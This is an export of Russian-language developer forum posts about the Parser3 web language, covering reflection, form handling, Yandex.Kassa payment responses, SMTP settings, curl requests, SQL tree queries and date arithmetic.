$test[^test::create[]]\
^if(^reflection:is[^math:uid64[];junction;$test])[y;n]\
^if(^reflection:is[^math:uid64[];method;$test])[y;n]\
\
\
@CLASS\
test\
\
@create[]\
\
@GET_DEFAULT[]\
$result[][/code]\
\
Таким образом, и [code]$def(^reflection:is[$method;junction;$object] || ^reflection:method[$object;$method] is junction)[/code] не работает в качестве способа проверки наличия метода.\
\
Остановился на такой проверке:\
[code]$def(^reflection:is[$method;junction;$object] && $object.$method is junction || ^reflection:method[$object;$method] is junction)[/code]"
"82668","И чем это костыльнее BB-тегов на форумах? Вполне адекватное решение."
"82669","Костыль в том, что такая обработка проходит каждый раз перед выдачей.\
Тот же bb-код обрабатывается один раз при сохранение в БД, ну по крайне мере системы его использующие. А тут каждый раз при запросе страницы идет обработка данных. Вот в этом я и вижу костыль.\
Что такие данные должны проходить обработку внешнего вида на этапе заполнения и редактирования, а не при выборке конечному клиенту."
"82670","Получаю форму типа:\
[b]filter[0]=aaaa&filter[1]=bbbb.......[/b]\
\
[b]$form:filter[0][/b] - выдает ошибку\
заэкранировать скобки $form:filter^[0^]  не получается :("
"82672","$.copy[Вася <vasya@hotmail.ru>] прокатит?\
\
Извините, речь об оповещалке, не на чем экспериментировать и тыкать в небо. В HTML-документации мейл-сенда нет ничего о копиях и скрытых."
"82674","Дабы поддержать некий интерфейс и не заниматься созданием прокси-методов, ссылаемся на методы нужного класса:\
[code]@main[]\
$test[^test::create[\
	$.a[1]\
	$.b[2]\
]]\
\
^test.foreach[k;v]{$k=$v}[,]\
\
\
@CLASS\
test\
\
@create[data]\
$self.data[^hash::create[$data]]\
$self.foreach[^reflection:method[$self.data;foreach]][/code]\
\
Худо-бедно [url=http://www.parser.ru/forum/?id=82667]можно узнать, что класс имеет необходимый метод[/url].\
Но как получить информацию о таком методе?\
^reflection:method_info[class;method] ожидает имён класса и метода.\
Мы в случае сохранения junction в поле не знаем ни того, ни другого и имеем лишь ссылку.\
\
Предлагаю рассмотреть возможность передачи в reflection:method_info junction — это позволило бы получить информацию о методе:\
[code]^reflection:method_info[$test.foreach][/code]"
"82675","Вроде как несложно, добавил в to-do."
"82676","Неясно по какому принципу формируется хеш с именами методов.\
Порядок зависит от имён методов и никак не связан с порядком их следования в классе.\
\
Иметь порядок следования методов в классе было бы удобнее.\
\
[code]@main[]\
$test[^test::create[]]\
^test.methods[]\
\
\
@CLASS\
test\
\
@create[]\
\
@c[]\
\
@a[]\
\
@b[]\
\
@methods[]\
<pre>^json:string[^reflection:methods[$self.CLASS_NAME]]</pre>\
[/code]\
\
[quote]{\
\"methods\":\"parser\",\
\"a\":\"parser\",\
\"create\":\"parser\",\
\"b\":\"parser\",\
\"c\":\"parser\"\
}[/quote]"
"82677","В парсере далеко не везде используются хеши с порядком. \"Обычные\" хеши потребляют меньше памяти и операции с ними выполняются быстрее, поэтому например локальные переменные лежат в \"обычном\" хеше. Правда что касается хешей методов, то их немного и по-идее можно поменять на хеш с порядком."
"82678","Если использовать полученный список методов для последовательного выполнения (например, при тестировании), то могут быть проблемы.\
Тем более, что узнать в обход порядок следования методов невозможно.\
\
Разве что, проматчить код, но это некрасиво при наличии reflection."
"82679","Ну, например у нас в тестах методы сортируются. :)\
\
[code]$m[^reflection:methods[$class]]\
$t[^m._keys[]]\
^t.sort{$t.key}\
^t.menu{\
   $k[$t.key]\
   $v[$m.$k]\
   ...\
[/code]"
"82680","[code]@main[]\
base_name is void: ^if(^reflection:base_name[$test:CLASS] is void)[y;n]\
\
\
@CLASS\
test\
\
@create[]\
[/code]\
\
[quote]base_name is void: n[/quote]\
\
Возвращается пустая строка.\
[url=http://www.parser.ru/docs/lang/reflectionobjectbaseclassname.htm]По документации[/url] ожидается void."
"82681","Конечно можно отсортировать.\
Но, есть мнение, иметь заданный методами порядок лучше."
"82682","Да, ошибка. Логичнее пока на def проверять, чтобы не поломалось после исправления.\
\
И не уверен в правильности того, что в base и base_bame не бросается исключение \"class is undefined\" (в class_by_name и некоторых других местах - бросается)."
"82683","[quote]И не уверен в правильности того, что в base и base_bame не бросается исключение \"class is undefined\" (в class_by_name и некоторых других местах - бросается).[/quote]\
\
Для ^reflection:base[] — возможно, для ^reflection:base_name[] мне исключение кажется лишним, это скорее проверка, а не получение объекта.\
\
Но и ^reflection:base[] не стоит бросать исключение, будет несовместимо."
"82684","Был невнимателен, там же не имя, а объект параметром, у него всегда класс есть."
"82686","Посмотрел по коду - оно так с самого начала повелось. Да и по сути в общем достаточно логично, что base - void, а base_name - пустая строка. Может правильнее будет документацию поменять? :)"
"82687","[quote]Может правильнее будет документацию поменять?[/quote]\
\
Я не против.\
Лишь бы ожидаемое поведение было.\
\
Проверка, чаще всего, по def, сработает в любом случае."
"82688","Предлагаю рассмотреть доработку ^reflection:classes[] для получения списка классов, декларированных в файле.\
Это позволит искать и загружать нужный класс до use файла и без перебора всех загруженных классов."
"82689","\"до use файла\" - и как интересно это должно быть реализовано? :) С тем же успехом можно самому загрузить файл и регуляркой искать @CLASS\\n<name>."
"82690","[quote]\"до use файла\" - и как интересно это должно быть реализовано?[/quote]\
\
Я предполагал, что до компиляции делается какой-либо предварительный анализ файла и такая информация может быть доступна.\
\
Раз нет — самостоятельный анализ."
"82691","[code]$string[string]\
$md5stamp[^math[b]:[/b]md5[$string]]\
$md5caps[^md5stamp.upper[]]\
$md5caps[/code]"
"82692","Никаких ошибок.\
\
Что до «unexpected $end, expecting '\\n'», то это ошибка при отсутствии перевода строки после декларации класса или метода.\
\
[code]@main[][/code]\
\
[code]@CLASS\
test[/code]"
"82694","[code]@main[]\
$MAIN:operator[$scope:method]\
\
call from MAIN: ^operator[]<br/>\
\
$test[^test::create[]]\
call from object:\
^try{\
	^test.method[]\
}{\
	$exception.handled(true)\
	$exception.type, $exception.comment\
}\
\
\
@CLASS\
scope\
\
@static:method[]\
operator result\
\
\
@CLASS\
test\
\
@create[]\
\
@method[]\
^operator[][/code]\
\
[i]call from MAIN: operator result\
call from object: parser.runtime, undefined method[/i]\
\
[url=http://www.parser.ru/docs/lang/obj.htm]С одной стороны[/url] — «[i]Если не указан объект, то конструкция является вызовом метода текущего класса (если у класса нет метода с таким именем, будет вызван метод базового класса) или оператора. При совпадении имен вызывается оператор[/i]».\
\
[url=http://www.parser.ru/docs/lang/defineclass.htm]C другой[/url] — «[i]Поиск значения переменной происходит в: \
— в списке локальных переменных;  \
— в текущем объекте и его классе;  \
— в родительских объектах и их классах[/i]».\
\
Не стоит ли подобные случаи обрабатывать специально?\
Ссылка на метод в переменной неполноценна.\
\
Нужно подобное, к примеру, в случае, когда из соображений совместимости необходимо иметь оператор, который является методом статического класса, при этом не хочется городить огород прокси-методов.\
\
Сейчас работает либо явное объявление оператора, либо вызов из класса с явным указанием «MAIN:»."
"82695","а с какого перепугу из класса вообще должна находиться переменная, которая лежит в MAIN?\
\
переменная с junction != метод (оператор в случае MAIN)"
"82696","[quote]а с какого перепугу из класса вообще должна находиться переменная, которая лежит в MAIN?[/quote]\
\
Ни с какого.\
\
[quote]переменная с junction != метод (оператор в случае MAIN)[/quote]\
\
Об этом и речь.\
\
Вопрос в том, нет ли возможности подобные ситуации обработать специально, и, не давая доступ к переменным MAIN из класса, дать доступ к операторам «в» переменной."
"82697","можно попробовать добавить в reflection какой-нить метод, который будет регистрировать в указанном/переданном классе переданный junction-method как метод.\
\
в случае необходимости использования подобный wrapper-ов (я их тоже немного использовал) может пригодиться."
"82698","[quote]можно попробовать добавить в reflection какой-нить метод, который будет регистрировать в указанном/переданном классе переданный junction-method как метод[/quote]\
\
Выходит, вызывать такой метод reflection'а нужно будет либо объекту класса, чтобы зарегистрировать метод в себе, либо MAIN'у, чтобы зарегистрировать оператор во всех доступных классах.\
\
Это можно сделать и сейчас перебором доступных пользовательских классов и установки им ссылки на метод, но совместимости «operator = junction-operator» оно не даёт.\
А также не будет работать для классов, добавленных после такой процедуры."
"82699","Которые ?a=b&c=d.\
\
Сижу такой парсю request:uri через серию сплитов и вот думаю, что наверняка ж фигнёй какой-то занимаюсь.\
\
Можно ли как-то рраз - и получить хеш со столбцами и значениями из URL?"
"82701","Но можно и просто через $form:a"
"82702","На первом шаге непонятно:\
\
[code]$params[$request:query]\
^params:fields.foreach[field;value]{ \
...\
}[/code]\
\
[b]'parameters' class is undefined,[/b] формы-то у меня нет никакой\
\
На втором шаге, когда первый обернётся в $hash[ \
бла-бла форыч [code]$.field[$value][/code]\
], предвижу проблему в $.field :)."
"82704","В объект form попадают все поля из строки запроса и из тела запроса. Form работает для любого типа запроса, а не только для post. Form:fields позволяет получит объект form в виде хеша."
"82705","Как некоторые догадались, я прикручиваю яндекс-кассу, сейчас на этапе https://tech.yandex.ru/money/doc/payment-solution/payment-notifications/payment-notifications-check-docpage/. Распарсил запрос, обработал, надо отправить ответ.\
\
[b]Вопрос 1:[/b] есть ли парсерные средства отправки формы без сабмита (с чисто технической страницы, в ответочку)?\
<form method=\"post\" action=\"http://action.ru/..\">\
<input type=\"hidden\" name=\"field\" value=\"aga\">\
</form>\
Как её пнуть без сабмита?\
\
[b]Вопрос 2:[/b] в инструкции видно, что приходит дейттайм \"момент [i]формирования[/i] запроса в сервисе\", а отправить надо, цитата, \"момент [i]обработки запроса по часам в сервисе[/i]\". Но моё серверное время и яндексовое могут различаться на минуты (я на виртуальном хостинге сижу, у них всё ездит постоянно хз куда). Чё делаю:\
а) получив время в запросе, запоминаю [i]разницу[/i] с собственным.\
[code]$requestdatetime[$form:requestDatetime]\
$now[^date::now[]]\
$diff(^now.unix-timestamp[] - $requestdatetime)[/code]\
б) формируя ответ, учитываю её в ответной форме.\
[code]<form method=\"post\" action=\"htttp://action...\">\
<input type=\"hidden\" name=\"performedDatetime\" value=\"^eval($now[^date::now[]]^now.unix-timestamp[] - $diff)\">\
</form>[/code]\
[b]Всё ли правильно понимаю  с временами и оперированием ими?[/b]\
\
И, см. п.1, как парсером, а не всяким джаваскриптом отправить ответ сразу после формирования формы?"
"82707","Зачем вам тут форма с сабмитом? Понятие формы существует только в браузере, у вас ее тут и быть не может. Яндекс отправляет вам запрос на ваш сервер, вы проверяете данные и отвечаете яндексу сразу в формате XML (также как например пользователю на запрос страницы вы отвечатете сгенерированным HTML)."
"82708","\"Форма\" в том виде как вы ее понимаете - это HTML-инструмент передачи на сервер запроса. Передача может быть двумя методами - POST и GET. Если GET - то все параметры формы уйдут на сервер в виде Query в url. Сервер никак не может различить /?a=b - это пришла форма с одним полем a (равным b) или это просто ссылка на которую кликнул пользователь. Таков метод GET.\
\
Поэтому все query-параметры падают в объект form. Который можно перебрать ^form:fields.foreach[]{}\
\
Емнип, в форм еще НЕ попадает qtail, то есть всё, что написано в url после второго знака ?. Так что разбор request:query дело неблагодарное и весьма бессмысленное"
"82709","Вам же пишут «по часам сервиса», вот и отвечайте по часам сервера, а не по часам Яндекс Кассы.\
\
\
Яндекс Касса жутко сырая, с кривой документацией и отвратительной, игнорирующей письма техподдержкой.\
Года ещё не работают, а в API бардак с именованием как от нескольких поколений разработчиков."
"82710","Просто выдать серию <param>value</param>, что ли?\
Во что-то обернув всё дополнительно?\
\
Я уже вдупил, что форма тут незачем, но пока пишу серией респонзов:\
[code]$respond[\
# тут нутро хеша\
]\
$response:action[checkOrderResponse]\
$response:performedDatetime[$respond.performedDatetime]\
$response:code[$respond.code]\
$response:shopId[$respond.shopId]\
$response:invoiceId[$respond.invoiceId]\
$response:orderSumAmount[$respond.orderSumAmount][/code]\
\
Так - не?"
"82711","Меня обычно магазином называли, себя кассой, а тут \"сервис\" :). Решил, что о них речь.\
\
Окей, а не гарантирован ли заглюк, если отправленное после обработки время вдруг будет [i]меньше[/i] вошедшего на пару секунд? Ну, просто по алгоритмам безопасности - у них времена в md5 не фигурируют, славтехоспади."
"82712","[quote]Пример ответа при успехе обработки\
\
<checkOrderResponse performedDatetime=\"2011-05-04T20:38:01.000+04:00\" code=\"0\" invoiceId=\"1234567\" shopId=\"13\"/>[/quote]"
"82713","что можно вместо выдачи xml \"в браузер\" ответить $response:location[ихaдрес?a=b&c=d...]?"
"82714","[quote]можно вместо выдачи xml \"в браузер\" ответить $response:location[ихaдрес?a=b&c=d...]?[/quote]\
\
Вы ни в какой браузер XML не выдаёте.\
Вы возвращаете XML в ответ на запрос сервером Яндекс Кассы.\
Который, Касса разберёт и проинтерпретирует.\
\
$response:location — это установка заголовка Location ответа, который совместно с необходимым HTTP-статусом говорит клиенту куда необходимо перейти.\
Такой инструкцией вы отправляете Кассу к самим себе.\
Поможет такой ответ переводу денег?\
\
Почитайте что-нибудь о HTTP-протоколе, прежде чем браться за работу с API систем платежей."
"82715","Про \"браузер\" в кавычках - фигура речи, конечно. В духе ответа \"п.1.\" от анонима:\
\
[i]Яндекс отправляет вам запрос на ваш сервер, вы проверяете данные и отвечаете яндексу сразу в формате XML [b](так же как например[/b] пользователю на запрос страницы вы отвечатете сгенерированным HTML).[/i]\
\
Ну то есть, я браузером сам к себе сейчас в тестовом режиме захожу под видом яндекса (мойадрес?параметрыкассы) - [b]и должен увидеть[/b] в браузере же результат обработки, аналогичный тому xml-яндекс.примеру. Здесь верно?\
\
Если тут да, то вместо этого можно, вроде бы, сходить (руками, или яндекса отправить, что угодно) на сервер самого яндекса с заряженными параметрами, которые я должен отдать, подумал я: яндекс получит ту же операцию со всеми нужными ему ключами и будет вынужден их воспринять как ответ. Но это гет будет, а нужен пост. Арр, всё.\
\
\
Википедии тут мало, надо будет пройти где-нибудь от-до курсик. Спасибо."
"82716","$MAIL[$.SMTP[xx.xx.xx.xx]]\
Указывается в конфигурационном auto.p \
Если это указазать непосредственно в коде перед ^mail:send - не работает, остается тот, что указан изначально.\
\
Как можно поменять IP адрес SMTP сервера непосредственно в коде перед ^mail:send ?"
"82717","$MAIL[$.SMTP[xx.xx.xx.xx]] в конфигурационном auto.p + $MAIL.SMTP[another IP] перед вызовом? Правда мне не придумываются ситуации зачем так нужно (ну кроме как спам отправлять :)"
"82718","Да, именно. Нет, не спам. Так что, кто знает можно ли?"
"82719","Так я же ответил, как можно. Разве не работает?"
"82720","Аноним это был я, забыл залогинится.\
\
>> сходить (руками, или яндекса отправить, что угодно) на сервер самого яндекса\
\
Вам надо почитать что нибудь про клиент-серверную архитектуру, такое впечататление что вы вообще не в теме. \
\
Вы не можете сходить на яндекс с какими то параметрами, с любыми. Вы можете ему только [b]отдать данные в ответ на его запрос[/b]. В рамках одного соединения, поскольку данный сервис синхронный (бывают еще асинхронные - но там совсем другая пляска).\
\
Да, если вы сами из браузера создаете тестовый запрос к своему серверу - вы [b]должны увидеть[/b] тот результат, который вы должны были бы отдать яндексу. Отладив таким образом механизм взаимодействия/ответа своего сервиса. После чего вы должны отдавать такой же результат (с другими данными понятное дело) непосредственно на запросы яндекса, и тут уже никаких форм быть не может в принципе - общаются два сервера друг с другом.\
\
Каким боком тут у вас появляется GET в логической цепочке я вообще не понимаю. Во всех случаях взаимодействие должно быть методом POST, потому что запрос в XML и ответ в XML."
"82721","Точно, это ж хеш обычный! :) Спасибо, работает."
"82722","Уважаемый Александр,\
\
спасибо за этот пример простого подхода. \
\
Я думаю многие были бы признательны за такой же простой пример использования parser и php но уже с https (ssl).\
\
Я пытался реализовать его след. образом, но не получилось. \
\
Заранее спасибо за помощь.\
\
^curl:options[\
    $.library[libcurl.so.4]\
  ]\
$file[^curl:load[\
   $.url[https://$env:SERVER_NAME/$path/$fileName]\
  $.postfields[utm_source=clickfrogru&utm_medium=clickfrogru&utm_content=clickfrogru&utm_term=clickfrogru&utm_campaign=clickfrogru]  \
   $.useragent[Parser3]\
    $.verbose(1)\
    $.failonerror(1)\
    $.httpget(1)\
   $.timeout(3)\
   $.ssl_verifypeer(0)\
]]"
"82723","А что именно не получилось? Какая то ошибка?\
\
подозреваю, что сочетание опций postfields[] и httpget(1) корректно работать не будет"
"82724","[quote]Я пытался реализовать его след. образом, но не получилось. [/quote]\
\
Ваш код корректный.\
Что именно «не получилось», в чём ошибка?"
"82725","[quote]подозреваю, что сочетание опций postfields[] и httpget(1) корректно работать не будет[/quote]\
\
Работает."
"82726","Хм... а как можно GET-запросом послать данные?"
"82727","Для GET-запроса curl подставляет «postfields» в «url».\
Получается аналог URL с параметрами."
"82728","В \"Последних сообщениях\" должны показываться последние по дате сообщения. Но, например, сегодня, 2-ого апреля, показываются сообщения за 2-ое апреля 2004 года."
"82729","[code][04.04 16:53]\
[02.04 06:11]\
[02.04 05:22]\
[02.04 02:20]\
[02.04 02:20]\
[02.04 01:58]\
[02.04 00:43]\
[01.04 23:14]\
[01.04 20:02]\
[01.04 16:02]\
[01.04 15:59]\
[01.04 15:24]\
[01.04 15:00]\
[01.04 05:03]\
[01.04 04:43]\
[01.04 04:32]\
[01.04 04:09]\
[01.04 04:04]\
[01.04 04:00]\
[01.04 03:37]\
[01.04 02:46]\
[01.04 02:37]\
[01.04 02:06]\
[01.04 00:10]\
[31.03 21:32][/code]\
\
Все сообщения за текущий год."
"82730","Продолжаю мучить себя и вас.\
Задача: научиться доставать родителя и всех его потомков.\
\
Столкнулся с проблемой вывода потомков заданного родителя.\
Попробовал два способа.\
\
Первый. Достает родителя и его потомков второго уровня.\
[code]$tree[^table::sql{\
	SELECT t.dsc, h.anc AS pID, p.*\
	FROM path AS t\
	JOIN pages AS p\
	ON (\
		t.dsc = p.eID\
		^if($params.tID){AND p.tID = $params.tID}\
	)\
	JOIN path AS h\
	ON (h.dsc = t.dsc AND h.lvl = 1)\
	WHERE t.anc = $params.root\
}]\
$tree[^tree.hash[pID][\
	$.type[table]\
	$.distinct(true)\
]]\
$index[^tree._keys[]]\
$root[\
	$.index[$index.key]\
	$.type[$params.type]\
]\
^tree.add[$root]\
^print[$tree]\
\
@print[tree;pID][locals]\
$pID(^pID.int($tree.index))\
$cID[$tree.$pID]\
$result[]\
^if($cID){\
	$result[^cID.menu{\
		<div>\
			<strong>$cID.name</strong>\
			^print[$tree]($cID.dsc)\
		</div>\
	}]\
}[/code]\
\
Второй. Достает всех детей родителя, но имени родителя не отображает.\
[code]$tree[^table::sql{\
	SELECT t.dsc, h.anc AS pID, p.*\
	FROM path AS t\
	JOIN pages AS p\
	ON (\
		t.dsc = p.eID\
		^if($params.tID){AND p.tID = $params.tID}\
	)\
	JOIN path AS h\
	ON (h.dsc = t.dsc AND h.lvl = 1)\
	WHERE t.anc = 0\
}]\
$tree[^tree.hash[pID][\
	$.type[table]\
	$.distinct(true)\
]]\
$root[\
	$.index[$params.root]\
	$.type[$params.type]\
]\
^tree.add[$root]\
^print[$tree][/code]"
"82731","Запрос в сообщении достаёт узел и всех его потомков.\
Дополнительно извлекает родителей и с помощью обычной рекурсии выводит."
"82732","На основе приведенной ссылки Я и делал, записи в базе у меня те же.\
Целиком дерево извлекается, но не работает все остальное:\
- извлечение родителя и его потомков,\
- извлечение всех родителей заданного потомка\
\
Думаю здесь решение в запросах к базе, но к сожалению не знаю MySQL, попытки решить проблему сводятся к поискам в гугле и попыткам адаптировать чужие решения, но и эти попытки неудачны.\
\
Не могли бы Вы помочь."
"82733","[quote]Целиком дерево извлекается, но не работает все остальное[/quote]\
\
В указанном мной примере оно извлекается не целиком, а именно от заданного узла.\
[code]WHERE t.ancestor_id = $root[/code]\
там написано не просто так.\
\
[quote]- извлечение родителя и его потомков[/quote]\
\
Это уже есть в примере.\
\
[quote]- извлечение всех родителей заданного потомка[/quote]\
\
Нужно достать ancestor_id всех записей, page_id которых равен ID интересующего узла.\
\
http://sqlfiddle.com/#!9/b577f/5\
\
[quote]Думаю здесь решение в запросах к базе, но к сожалению не знаю MySQL, попытки решить проблему сводятся к поискам в гугле и попыткам адаптировать чужие решения, но и эти попытки неудачны.[/quote]\
\
Как вы собираетесь что-либо делать, если не владеете инструментом?\
Неужели считаете, что всегда за вас кто-то напишет запрос?..\
\
Повторюсь в который раз: в статье про деревья, ссылку на которую я давал в прошлом обсуждении, есть примеры запросов для всех действий с деревом.\
Лучше адаптировать их, чем заниматься угадыванием и поиском."
"82734","У меня таблица без page_id = 0;\
INSERT INTO `_tree` (`page_id`, `ancestor_id`, `distance`)\
VALUES\
(1, 0, 1),\
(1, 1, 0),\
(2, 0, 2),\
(2, 1, 1),\
(2, 2, 0),\
(3, 0, 2),\
(3, 1, 1),\
(3, 3, 0);\
\
Видимо из за этого и не работает. Пытался LEFT JOIN и INFULL, ничего не понял и ничего не получилось.\
\
Я не надеюсь что всегда за меня запросы писать будут, Я учусь, для меня это как сложное лего.\
\
Если Вы мне поможете, Я буду благодарен)"
"82735","[quote]Видимо из за этого и не работает. Пытался LEFT JOIN и INFULL, ничего не понял и ничего не получилось.[/quote]\
\
Так разберитесь.\
Это база.\
\
Как можно работать в БД не понимая их.\
\
[quote]Если Вы мне поможете, Я буду благодарен)[/quote]\
\
Так уже.\
\
Готовые запросы написаны, они работают независимо от наличия нулевого узла-корня.\
\
\
Рассказывать «ничего не получилось» [url=http://www.parser.ru/faq/forum/]тут нельзя[/url].\
Что хотите получить, что сделали (без тонн неработающего кода, только суть), что получилось, где именно затруднения.\
Помочь с вопросом «ничего не понимаю» вам не сможет никто."
"82736","Есть хорошая старинная статья, где работа со sql объясняется на пальцах. Когда-то именно по ней я погружался в мир баз данных, очень помогло в качестве быстрого старта.\
\
http://www.lki.ru/text.php?id=3667\
\
Впрочем, это не отменяет того факта, что книжку по SQL тоже стоит почитать.\
\
P.S. Сорри за оффтоп."
"82737","Проблема в том, что код что ниже, берет заданного родителя, достает его первых детей и дальше не идет.\
\
Пожалуйста, напишите кусочек кода\
\
[code]@tree[params]\
^connect[$connect_string]{\
	$tree[^table::sql{\
		SELECT t.dsc, IFNULL(h.anc, 0) AS pID, p.*\
		FROM path AS t\
		JOIN pages AS p ON (p.eID = t.dsc ^if($params.tID){AND p.tID = $params.tID})\
		LEFT JOIN path AS h ON (h.dsc = t.dsc AND h.lvl = 1)\
		WHERE t.anc = $params.root\
	}]\
	$tree[^tree.hash[pID][\
		$.type[table]\
		$.distinct(true)\
	]]\
}\
^print[$tree]\
\
@print[tree;pID][locals]\
$pID(^pID.int(0))\
$cID[$tree.$pID]\
$result[]\
^if($cID){\
	$result[^cID.menu{\
		<div>\
			<strong>$cID.name</strong>\
			^print[$tree]($cID.dsc)\
		</div>\
	}]\
}[/code]"
"82738","[quote]Проблема в том, что код что ниже, берет заданного родителя, достает его первых детей и дальше не идет.[/quote]\
\
[url=http://www.parser.ru/forum/?id=82456]Готовый код[/url], работает.\
\
Очевидно, что если не работает, значит дело во внесённых вами изменениях.\
\
Что такое [code]^if($params.tID){AND p.tID = $params.tID}[/code] я не знаю.\
\
Уберите всё лишнее, проверьте генерируемый запрос, проверьте извлечённые данные.\
Гадать можно долго."
"82739","[code]^if($params.tID){AND p.tID = $params.tID}[/code]\
Это тип элемента: категория, страница и т. д.\
\
Изменил запрос на приведенный Вами.\
В запросе указан ID определенного родителя, у которого два ребенка второго уровня и еще есть третий и четвертый уровень.\
[code]@tree[params]\
^connect[$connect_string]{\
	$tree[^table::sql{\
		SELECT t.dsc, IFNULL(h.anc, 0) AS pID\
		FROM path AS t\
		LEFT JOIN path AS h ON (h.dsc = t.dsc AND h.lvl = 1)\
		WHERE t.anc = 297\
	}]\
	$tree[^tree.hash[pID][\
		$.type[table]\
		$.distinct(true)\
	]]\
}\
^print[$tree]\
\
@print[tree;pID][locals]\
$pID(^pID.int(0))\
$cID[$tree.$pID]\
$result[]\
^if($cID){\
	$result[^cID.menu{\
		<div>\
			<strong>$cID.name</strong>\
			^print[$tree]($cID.dsc)\
		</div>\
	}]\
}[/code]\
\
На выходе данные следующие:\
[code]{ \"0\":[ {\"dsc\":\"297\",\"pID\":\"0\"} ], \"297\":[ {\"dsc\":\"337\",\"pID\":\"297\"}, {\"dsc\":\"367\",\"pID\":\"297\"} ] }[/code]\
\
Он не достает детей третьего и четвертого уровня.\
В этом вся загадка, которая неподвластна моим мозгам.\
\
Вот все дерево целиком:\
[code]\
297\
	337\
		347\
		357\
			387\
	367\
377\
	397[/code]\
\
Таблица\
[code]anc	dsc	lvl\
0	297	1\
297	297	0\
0	337	2\
297	337	1\
337	337	0\
0	347	3\
337	347	1\
347	347	0\
0	357	3\
337	357	1\
357	357	0\
0	367	2\
297	367	1\
367	367	0\
0	377	1\
377	377	0\
0	387	4\
357	387	1\
387	387	0\
0	397	2\
377	397	1\
397	397	0[/code]"
"82740","Думаю, причина в строчке\
[code]$parent_id(^parent_id.int(0))[/code]\
\
После выборки поддерева в нём не будет узла с нулевым parent_id, как в случае выборки от корня.\
Поэтому нужно ориентироваться на наименьший parent_id.\
\
Если фрагмент дерева выбирается без включения начального узла [code]…\
WHERE t.ancestor_id = $root\
[color=\"#ff0000\"]AND t.distance > 0[/color][/code], то parent_id будет равен начальному узлу, так как будут извлечены его потомки.\
Тогда достаточно изменения:\
[code]^print[$tree][/code]\
->\
[code]^print[$tree]($root)[/code]\
\
Если же начальный узел включается, то мы уже не знаем его parent_id, с которого нужно начинать вывод дерева.\
В случае упорядоченного дерева\
[code]ORDER BY p.ancestor_id[/code]\
достаточно взять наименьший parent_id в случае, если оный не передан:\
[code]$parent_id(^parent_id.int(0))[/code]\
->\
[code]$parent_id(^parent_id.int(^tree._at[first;key]))[/code]\
\
Итого:\
[code]CREATE TABLE `_tree` (\
	`page_id` INT(10) UNSIGNED NOT NULL,\
	`ancestor_id` INT(10) UNSIGNED NOT NULL,\
	`distance` SMALLINT(5) UNSIGNED NOT NULL DEFAULT '0',\
	PRIMARY KEY (`page_id`, `ancestor_id`, `distance`),\
	INDEX `idx_ancestor_id` (`ancestor_id`),\
	CONSTRAINT `fk_ancestor_id` FOREIGN KEY (`ancestor_id`) REFERENCES `_tree` (`page_id`) ON UPDATE CASCADE ON DELETE CASCADE\
)\
COLLATE='utf8_general_ci'\
ENGINE=InnoDB\
;\
\
INSERT INTO `_tree` (`page_id`, `ancestor_id`, `distance`)\
VALUES\
(0, 0, 0),\
(1, 0, 1),\
(1, 1, 0),\
(2, 0, 2),\
(2, 1, 1),\
(2, 2, 0),\
(3, 0, 2),\
(3, 1, 1),\
(3, 3, 0),\
(4, 0, 3),\
(4, 1, 2),\
(4, 3, 1),\
(4, 4, 0),\
(5, 0, 4),\
(5, 1, 3),\
(5, 4, 1),\
(5, 5, 0),\
(5, 3, 2);\
\
@main[]\
$root(3)\
\
^connect[$SQL.connect-string]{\
	$tree[^table::sql{\
		SELECT t.page_id, p.ancestor_id AS parent_id\
		FROM _tree AS t\
		JOIN _tree AS p ON (p.page_id = t.page_id AND p.distance = 1)\
		WHERE t.ancestor_id = $root\
		ORDER BY p.ancestor_id\
	}]\
}\
\
$tree[^tree.hash[parent_id][\
	$.type[table]\
	$.distinct(true)\
]]\
\
<style>\
	#tree div { border: 1px solid gray }\
	#tree div div { margin-left: 50px }\
</style>\
\
<div id=\"tree\">\
	^print[$tree]\
</div>\
\
\
@print[tree;parent_id][locals]\
$parent_id(^parent_id.int(^tree._at[first;key]))\
$children[$tree.$parent_id]\
$result[]\
\
^if($children){\
	$result[^children.menu{\
		<div>\
			<strong>$children.page_id</strong>\
			^print[$tree]($children.page_id)\
		</div>\
	}]\
}\
[/code]"
"82741","[code]@main[]\
$hash[\
	$.0[^date::now[]]\
	$.1(1)\
]\
\
^if(^reflection:is[0;string;$hash])[y;n]<br/>\
^if($hash.0 is string)[y;n]<br/>\
^if(^hash._at(0) is string)[y;n]<hr/>\
\
^if(^reflection:is[1;string;$hash])[y;n]<br/>\
^if($hash.1 is string)[y;n]<br/>\
^if(^hash._at(1) is string)[y;n][/code]\
\
Получаем:\
n\
n\
n\
\
n\
n\
[b]y[/b]\
\
При обращении к последнему элементу ^hash._at(1) double-значение возвращается в виде строки.\
\
Parser 3.4.4 RC."
"82742","То есть дело тут не в _at, а в том что метод берет объект и пишет его в резльтат. То есть грубо говоря\
\
[code]@m[v]\
$v\
[/code]\
\
даст такой же результат, поскольку числа умеют \"автопреобразовываться\" в строки. Но вот если еще какие системные методы, на которых это может отразиться - не могу пока придумать."
"82743","Считаю, что такое поведение at и методов вообще — ошибка.\
Нужно возвращать результат с исходным типом.\
\
При прямом обращении порядок, при обращении через at — меняется тип.\
Можно, конечно, обойти через $hash.[^hash._at($index)[key]], но некрасиво."
"82744","[code]$today[^date::today[]]\
\
^today.roll[day](1 / 24)\
^today.iso-string[]\
\
$today[^date::create($today + 1 / 24)]\
^today.iso-string[][/code]\
\
[i]2016-04-08T00:00:00+3:00\
2016-04-08T01:00:00+3:00[/i]\
\
Было бы полезно поддерживать дробное количество дней сдвига, по аналогии с обычными операциями с датой."
"82745","Если подумать, то станет понятно, что это неправильная идея.\
Hint: ^d.roll[day](1) и $d[^date::create($d+1)] могут дать разный результат."
"82746","[quote]Считаю, что такое поведение at и методов вообще — ошибка.\
Нужно возвращать результат с исходным типом.[/quote]\
\
Так обычно и происходит. Но double является исключением, поскольку его можно \"впечатать\" в строку."
"82747","[quote]^d.roll[day](1) и $d[^date::create($d+1)] могут дать разный результат[/quote]\
\
Не понимаю в каком случае.\
Мне казалось, что они работают одинаково.\
\
Если сдвиг придётся на перевод часов, [url=http://www.parser.ru/forum/?id=82512]roll не добавит лишнего часа[/url]?"
"82748","^d.roll[day](1) - прибавит 1 день. Часы, минуты, секунды останутся те же.\
$d[^date::create($d+1)] - прибавит 24 часа. Если в этом интервале был перевод времени, у новой даты будет время будет отличаться на час.\
\
Во временной зоне MSK:\
\
[code]$d[^date::create[2011-03-26 18:00:00]]\
$b[^date::create($d+1)]\
^d.roll[day](1)\
^d.sql-string[]\
^b.sql-string[][/code]\
\
Выдаст:\
2011-03-27 18:00:00\
2011-03-27 19:00:00"
"82749","Недодумал."
